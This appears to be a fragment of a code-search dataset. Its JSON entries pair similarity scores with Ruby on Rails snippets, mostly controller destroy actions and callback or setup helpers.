"def destroy\n @dict_type.destroy\n respond_to do |format|\n format.html { redirect_to dict_types_url, notice: '删除字典类型成功!' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "27357b490a595c75c2826b002b2146f3", "score": "0.6367724", "text": "def destroy\n @changetype = Changetype.find(params[:id])\n @changetype.destroy\n\n respond_to do |format|\n format.html { redirect_to changetypes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "211bb701f72e4724715611dfd83cc685", "score": "0.63624287", "text": "def destroy\n @setting_type = SettingType.find(params[:id])\n @setting_type.destroy\n\n respond_to do |format|\n format.html { redirect_to setting_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "eca090626ec9388d7a5694b89e74398d", "score": "0.6362292", "text": "def destroy\n @dietype = Dietype.find(params[:id])\n @dietype.destroy\n\n respond_to do |format|\n format.html { redirect_to dietypes_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "2799451feb31f1911c31c511f2a35c44", "score": "0.63620615", "text": "def destroy\n @check_request_type.destroy\n respond_to do |format|\n format.html { redirect_to check_request_types_url, notice: 'Check request type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "728cdacc9c07c16268e183bfb82d9590", "score": "0.63615304", "text": "def destroy\n @auth_config_type = AuthConfigType.find(params[:id])\n @auth_config_type.destroy\n\n respond_to do |format|\n format.html { redirect_to auth_config_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "77e1fe22049d3561e2c7d466ba699ad9", "score": "0.63607496", "text": "def destroy\n @dish_type = DishType.find(params[:id])\n @dish_type.destroy\n\n respond_to do |format|\n format.html { redirect_to dish_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "dad1d40dfc2c95ed4026960fcf581166", "score": "0.63577175", "text": "def destroy\n @referral_type.destroy\n respond_to do |format|\n format.html { redirect_to referral_types_url, notice: 'Referral type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a0be18acc2e79c6b63b8228affaa775c", "score": "0.63575095", "text": "def destroy\n @action_type = ActionType.find(params[:id])\n verify_user(@action_type.action_list.datum.user.id)\n @action_type.destroy\n\n respond_to do |format|\n format.html { redirect_to action_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0cccb8f168363ccebfc2d6d45974f7eb", "score": "0.6356842", "text": "def destroy\n @thing = Thing.find(params[:id])\n type = @thing.type\n @thing.destroy\n\n respond_to do |format|\n format.html { redirect_to type_path(type) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d186200fb5897abe9965c72f1b342eb5", "score": "0.6355887", "text": "def destroy\n @attribute_type = AttributeType.find(params[:id])\n @attribute_type.destroy\n\n respond_to do |format|\n format.html { redirect_to attribute_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f1d6435b5575c33b8d2b406b30553f5d", "score": "0.63462865", "text": "def destroy\n @expense_type = ExpenseType.find(params[:id])\n @expense_type.destroy\n\n respond_to do |format|\n format.html { redirect_to expense_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2ff5813b1c7ead34011e28d86338c9ba", "score": "0.63386524", "text": "def destroy\n @ot_type = OtType.find(params[:id])\n @ot_type.destroy\n\n respond_to do |format|\n format.html { redirect_to ot_types_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "bcbb940ba8cf9afc36f153588a33425e", "score": "0.63354313", "text": "def destroy\n @focus_type.destroy\n respond_to do |format|\n format.html { redirect_to focus_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fa9d6e1680732b59a5a30fb5597ec807", "score": "0.6330356", "text": "def destroy\n @expend_type.destroy\n respond_to do |format|\n format.html { redirect_to expend_types_url, notice: 'Expend type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2a65c4657536570a7584193e58713f42", "score": "0.6329268", "text": "def destroy\n @qtype = Qtype.find(params[:id])\n @qtype.destroy\n\n respond_to do |format|\n format.html { redirect_to qtypes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "752fbb4b467e137a5cb0054b145e9813", "score": "0.632909", "text": "def destroy\n event_type = EventType.find(params[:id])\n event_type.destroy\n head 204\n end", "title": "" }, { "docid": "d8b40cb8690c31ea462d9fd3f50c8c44", "score": "0.6328287", "text": "def destroy\n @expensetype = Expensetype.find(params[:id])\n @expensetype.destroy\n\n respond_to do |format|\n format.html { redirect_to expensetypes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ece5ba37874e3a2b92b442d7522fbce0", "score": "0.6328183", "text": "def destroy\n @hero_type.destroy\n respond_to do |format|\n format.html { redirect_to hero_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3b4d15abf8f2808bc7736584c4a8e5e5", "score": "0.6325755", "text": "def destroy\n @type_sex.destroy\n respond_to do |format|\n format.html { redirect_to type_sexes_url, notice: 'Tipo de sexo excluido com sucesso.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "78d676692279be42ac4c92ad84ed2500", "score": "0.6318624", "text": "def destroy\r\n @attraction_big_type.destroy\r\n respond_to do |format|\r\n format.html { redirect_to attraction_big_types_url }\r\n format.json { head :no_content }\r\n end\r\n end", "title": "" }, { "docid": "da7452c99f6a8c384f055dfcf8cdc1e7", "score": "0.6317275", "text": "def delete\n type = Type.where( id: params[:id] ).last\n if type\n if type.delete\n render json: { success: \" با موفقیت حذف شد \" } , status: 200\n else\n render json: { error: \" مشکلی در حذف کردن به وجود آمده است ! \" } , status: 400\n end\n else\n render json: { error: \" اطلاعات مورد نظر یافت نشد ! \" } , status: 404\n end\n\n end", "title": "" }, { "docid": "4780e97c4d373159eea93f8240d2013e", "score": "0.63153344", "text": "def destroy\n @verb_type = VerbType.find(params[:id])\n @verb_type.destroy\n\n respond_to do |format|\n format.html { redirect_to verb_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a0279a1ac1e4905e29b55f0db9acc2c4", "score": "0.63148695", "text": "def destroy\n @hotkey_type.destroy\n respond_to do |format|\n format.html { redirect_to hotkey_types_url, notice: 'Hotkey type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8bd4d4475553081716d9e49578162ff2", "score": "0.63146764", "text": "def destroy\n @dish_type = DishType.find(params[:id])\n @dish_type.destroy\n\n respond_to do |format|\n format.html { redirect_to :back, notice: \"Тип блюда удален.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "660b54642b8a93bb89ec03c127da4a14", "score": "0.6314578", "text": "def destroy\n @cookie_change.destroy\n respond_to do |format|\n format.html { redirect_to cookie_changes_url, notice: 'Cookie change was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ea50b3bd8d793672e72ad9cdfe0d9c3f", "score": "0.63139045", "text": "def destroy\n @sin_type = SinType.find(params[:id])\n @sin_type.destroy\n\n respond_to do |format|\n format.html { redirect_to sin_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3ba291399dac55218ee4e60ed77519ca", "score": "0.63139", "text": "def destroy\n @data_type.destroy\n respond_to do |format|\n format.html { redirect_to data_types_url, notice: 'Data type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "df90975bfe09839b89ba727f5c8c941d", "score": "0.6311759", "text": "def destroy\n @tea_type = TeaType.find(params[:id])\n @tea_type.destroy\n\n respond_to do |format|\n format.html { redirect_to tea_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8dd18532217c9d901a2be87aac8be4f3", "score": "0.6311455", "text": "def destroy\n @file_type = FileType.find(params[:id])\n @file_type.destroy\n\n respond_to do |format|\n format.html { redirect_to file_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4bf658f600cd064823a447232b124fd9", "score": "0.6310567", "text": "def triple_store_delete(type, uri)\n type.constantize.delete(uri)\n end", "title": "" }, { "docid": "e180a8e014a601c07eb011ec89d595a5", "score": "0.6307626", "text": "def destroy\n @observation_type.destroy\n respond_to do |format|\n format.html { redirect_to observation_types_url, notice: 'Observation type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b99b5293b66d4d2f7238673d96cc48ee", "score": "0.6307411", "text": "def destroy\n @visit_type = VisitType.find(params[:id])\n @visit_type.destroy\n \n APP_LOGGER_LOG.info \"VISIT_TYPE DELETED - \" + @visit_type[:name] + \n \" by USER \" + self.current_user[:login]\n\n respond_to do |format|\n format.html { redirect_to(visit_types_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "4c7a4894db45980a2e3d4eea354e9bbc", "score": "0.63067484", "text": "def destroy\n @dtype = Dtype.find(params[:id])\n @dtype.destroy\n\n respond_to do |format|\n format.html { redirect_to dtypes_url }\n format.json { head :no_content }\n end\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "7e89e66e8cdc8d42943232a51fa6bca3", "score": "0.0", "text": "def set_admin_question\r\n @admin_question = Admin::Question.find(params[:id])\r\n end", "title": "" } ]
[ { "docid": "631f4c5b12b423b76503e18a9a606ec3", "score": "0.60310465", "text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end", "title": "" }, { "docid": "7b068b9055c4e7643d4910e8e694ecdc", "score": "0.60152966", "text": "def on_setup_callbacks; end", "title": "" }, { "docid": "311e95e92009c313c8afd74317018994", "score": "0.5920606", "text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5912896", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5912896", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "bfea4d21895187a799525503ef403d16", "score": "0.5898134", "text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end", "title": "" }, { "docid": "352de4abc4d2d9a1df203735ef5f0b86", "score": "0.5887081", "text": "def required_action\n # TODO: implement\n end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5887026", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5887026", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5887026", "text": "def actions; end", "title": "" }, { "docid": "8713cb2364ff3f2018b0d52ab32dbf37", "score": "0.5876557", "text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end", "title": "" }, { "docid": "a80b33627067efa06c6204bee0f5890e", "score": "0.5860066", "text": "def actions\n\n end", "title": "" }, { "docid": "930a930e57ae15f432a627a277647f2e", "score": "0.5807812", "text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end", "title": "" }, { "docid": "33ff963edc7c4c98d1b90e341e7c5d61", "score": "0.57404715", "text": "def setup\n common_setup\n end", "title": "" }, { "docid": "a5ca4679d7b3eab70d3386a5dbaf27e1", "score": "0.57310694", "text": "def perform_setup\n end", "title": "" }, { "docid": "ec7554018a9b404d942fc0a910ed95d9", "score": "0.5715928", "text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5701527", "text": "def callbacks; end", "title": "" }, { "docid": "c85b0efcd2c46a181a229078d8efb4de", "score": "0.569245", "text": "def custom_setup\n\n end", "title": "" }, { "docid": "100180fa74cf156333d506496717f587", "score": "0.5669733", "text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend", "title": "" }, { "docid": "2198a9876a6ec535e7dcf0fd476b092f", "score": "0.56503016", "text": "def initial_action; end", "title": "" }, { "docid": "b9b75a9e2eab9d7629c38782c0f3b40b", "score": "0.5648064", "text": "def setup_intent; end", "title": "" }, { "docid": "471d64903a08e207b57689c9fbae0cf9", "score": "0.5636733", "text": "def setup_controllers &proc\n @global_setup = proc\n self\n end", "title": "" }, { "docid": "468d85305e6de5748477545f889925a7", "score": "0.5623887", "text": "def inner_action; end", "title": "" }, { "docid": "bb445e7cc46faa4197184b08218d1c6d", "score": "0.56089544", "text": "def pre_action\n # Override this if necessary.\n end", "title": "" }, { "docid": "48804b0fa534b64e7885b90cf11bff31", "score": "0.559635", "text": "def execute_callbacks; end", "title": "" }, { "docid": "432f1678bb85edabcf1f6d7150009703", "score": "0.5595486", "text": "def target_callbacks() = commands", "title": "" }, { "docid": "5aab98e3f069a87e5ebe77b170eab5b9", "score": "0.55868655", "text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.55584484", "text": "def global_callbacks; end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.55584484", "text": "def global_callbacks; end", "title": "" }, { "docid": "482481e8cf2720193f1cdcf32ad1c31c", "score": "0.5507632", "text": "def required_keys(action)\n\n end", "title": "" }, { "docid": "353fd7d7cf28caafe16d2234bfbd3d16", "score": "0.55033326", "text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end", "title": "" }, { "docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40", "score": "0.5466339", "text": "def on_setup(&block); end", "title": "" }, { "docid": "dcf95c552669536111d95309d8f4aafd", "score": "0.54640555", "text": "def layout_actions\n \n end", "title": "" }, { "docid": "8ab2a5ea108f779c746016b6f4a7c4a8", "score": "0.54472816", "text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend", "title": "" }, { "docid": "e3aadf41537d03bd18cf63a3653e05aa", "score": "0.54455507", "text": "def before(action)\n invoke_callbacks *options_for(action).before\n end", "title": "" }, { "docid": "6bd37bc223849096c6ea81aeb34c207e", "score": "0.54398936", "text": "def post_setup\n end", "title": "" }, { "docid": "07fd9aded4aa07cbbba2a60fda726efe", "score": "0.5415934", "text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5407991", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5407991", "text": "def action_methods; end", "title": "" }, { "docid": "9358208395c0869021020ae39071eccd", "score": "0.54", "text": "def post_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5394463", "text": "def before_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5394463", "text": "def before_setup; end", "title": "" }, { "docid": "cb5bad618fb39e01c8ba64257531d610", "score": "0.5391065", "text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end", "title": "" }, { "docid": "a468b256a999961df3957e843fd9bdf4", "score": "0.5388469", "text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.5376582", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5355932", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "725216eb875e8fa116cd55eac7917421", "score": "0.5348422", "text": "def setup\n @controller.setup\n end", "title": "" }, { "docid": "39c39d6fe940796aadbeaef0ce1c360b", "score": "0.53466004", "text": "def setup_phase; end", "title": "" }, { "docid": "118932433a8cfef23bb8a921745d6d37", "score": "0.53451854", "text": "def register_action(action); end", "title": "" }, { "docid": "bd03e961c8be41f20d057972c496018c", "score": "0.5343858", "text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end", "title": "" }, { "docid": "c6352e6eaf17cda8c9d2763f0fbfd99d", "score": "0.5339292", "text": "def initial_action=(_arg0); end", "title": "" }, { "docid": "207a668c9bce9906f5ec79b75b4d8ad7", "score": "0.532725", "text": "def before_setup\n\n end", "title": "" }, { "docid": "669ee5153c4dc8ee81ff32c4cefdd088", "score": "0.53038853", "text": "def ensure_before_and_after; end", "title": "" }, { "docid": "c77ece7b01773fb7f9f9c0f1e8c70332", "score": "0.52850133", "text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end", "title": "" }, { "docid": "1e1e48767a7ac23eb33df770784fec61", "score": "0.52815986", "text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7", "score": "0.5257178", "text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end", "title": "" }, { "docid": "4ad1208a9b6d80ab0dd5dccf8157af63", "score": "0.5257024", "text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end", "title": "" }, { "docid": "fc88422a7a885bac1df28883547362a7", "score": "0.5248709", "text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end", "title": "" }, { "docid": "8945e9135e140a6ae6db8d7c3490a645", "score": "0.5244428", "text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end", "title": "" }, { "docid": "7b3954deb2995cf68646c7333c15087b", "score": "0.5239302", "text": "def after_setup\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5235414", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5235414", "text": "def action; end", "title": "" }, { "docid": "1dddf3ac307b09142d0ad9ebc9c4dba9", "score": "0.5230717", "text": "def external_action\n raise NotImplementedError\n end", "title": "" }, { "docid": "5772d1543808c2752c186db7ce2c2ad5", "score": "0.52270764", "text": "def actions(state:)\n raise NotImplementedError\n end", "title": "" }, { "docid": "64a6d16e05dd7087024d5170f58dfeae", "score": "0.5222752", "text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.5222485", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "db0cb7d7727f626ba2dca5bc72cea5a6", "score": "0.52205867", "text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end", "title": "" }, { "docid": "8d7ed2ff3920c2016c75f4f9d8b5a870", "score": "0.52127427", "text": "def pick_action; end", "title": "" }, { "docid": "7bbfb366d2ee170c855b1d0141bfc2a3", "score": "0.52127236", "text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end", "title": "" }, { "docid": "78ecc6a2dfbf08166a7a1360bc9c35ef", "score": "0.520801", "text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end", "title": "" }, { "docid": "6a98e12d6f15af80f63556fcdd01e472", "score": "0.5204501", "text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end", "title": "" }, { "docid": "2aba2d3187e01346918a6557230603c7", "score": "0.5204178", "text": "def ac_action(&blk)\n @action = blk\n end", "title": "" }, { "docid": "4c23552739b40c7886414af61210d31c", "score": "0.52039874", "text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end", "title": "" }, { "docid": "d56f4ec734e3f3bc1ad913b36ff86130", "score": "0.52032334", "text": "def create_setup\n \n end", "title": "" }, { "docid": "691d5a5bcefbef8c08db61094691627c", "score": "0.5198697", "text": "def performed(action)\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51944995", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51944995", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "7fca702f2da4dbdc9b39e5107a2ab87d", "score": "0.51913106", "text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end", "title": "" }, { "docid": "063b82c93b47d702ef6bddadb6f0c76e", "score": "0.5178707", "text": "def setup(instance)\n action(:setup, instance)\n end", "title": "" }, { "docid": "9f1f73ee40d23f6b808bb3fbbf6af931", "score": "0.51781213", "text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.5172379", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.5172379", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.5172379", "text": "def setup(resources) ; end", "title": "" }, { "docid": "7a0c9d839516dc9d0014e160b6e625a8", "score": "0.5163576", "text": "def setup(request)\n end", "title": "" }, { "docid": "e441ee807f2820bf3655ff2b7cf397fc", "score": "0.5152934", "text": "def after_setup; end", "title": "" }, { "docid": "1d375c9be726f822b2eb9e2a652f91f6", "score": "0.5142308", "text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end", "title": "" }, { "docid": "2fcff037e3c18a5eb8d964f8f0a62ebe", "score": "0.51392764", "text": "def setup(params)\n end", "title": "" }, { "docid": "c594a0d7b6ae00511d223b0533636c9c", "score": "0.51391184", "text": "def code_action_provider; end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51387095", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "111fd47abd953b35a427ff0b098a800a", "score": "0.51351416", "text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end", "title": "" }, { "docid": "f2ac709e70364fce188bb24e414340ea", "score": "0.5115222", "text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end", "title": "" }, { "docid": 